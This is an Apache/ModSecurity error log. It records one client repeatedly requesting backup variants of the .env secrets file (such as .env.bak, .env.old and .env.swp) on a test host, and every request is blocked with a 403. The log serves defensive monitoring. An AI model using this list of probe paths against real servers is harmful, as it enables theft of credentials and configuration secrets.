[Sun Oct 26 01:24:01.718192 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cEdPNphQKiiMCb4eQWAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.718453 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cEdPNphQKiiMCb4eQWAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:01.718666 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cEdPNphQKiiMCb4eQWAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.324727 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cEtPNphQKiiMCb4eQWQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.324971 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cEtPNphQKiiMCb4eQWQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.325153 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cEtPNphQKiiMCb4eQWQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.930934 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cEtPNphQKiiMCb4eQWgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.931220 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cEtPNphQKiiMCb4eQWgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:02.931423 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cEtPNphQKiiMCb4eQWgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:03.537684 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cE9PNphQKiiMCb4eQWwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:03.537875 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cE9PNphQKiiMCb4eQWwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:03.538106 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cE9PNphQKiiMCb4eQWwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:03.538296 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cE9PNphQKiiMCb4eQWwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.143360 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cFNPNphQKiiMCb4eQXAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.143570 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cFNPNphQKiiMCb4eQXAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.143816 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cFNPNphQKiiMCb4eQXAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.144003 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cFNPNphQKiiMCb4eQXAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.749132 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cFNPNphQKiiMCb4eQXQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.749389 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cFNPNphQKiiMCb4eQXQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:04.749654 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cFNPNphQKiiMCb4eQXQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.355399 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cFdPNphQKiiMCb4eQXgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.355649 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cFdPNphQKiiMCb4eQXgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.355843 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aP1cFdPNphQKiiMCb4eQXgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.961437 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cFdPNphQKiiMCb4eQXwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.961637 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cFdPNphQKiiMCb4eQXwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.961870 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cFdPNphQKiiMCb4eQXwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:05.962072 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aP1cFdPNphQKiiMCb4eQXwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:06.568016 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cFtPNphQKiiMCb4eQYAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:06.568270 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cFtPNphQKiiMCb4eQYAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:06.568466 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aP1cFtPNphQKiiMCb4eQYAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.174141 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cF9PNphQKiiMCb4eQYQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.174417 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cF9PNphQKiiMCb4eQYQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.174618 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "aP1cF9PNphQKiiMCb4eQYQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.779486 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cF9PNphQKiiMCb4eQYgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.779749 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cF9PNphQKiiMCb4eQYgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:07.779957 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "aP1cF9PNphQKiiMCb4eQYgAAAAA"], referer: https://www.google.com/
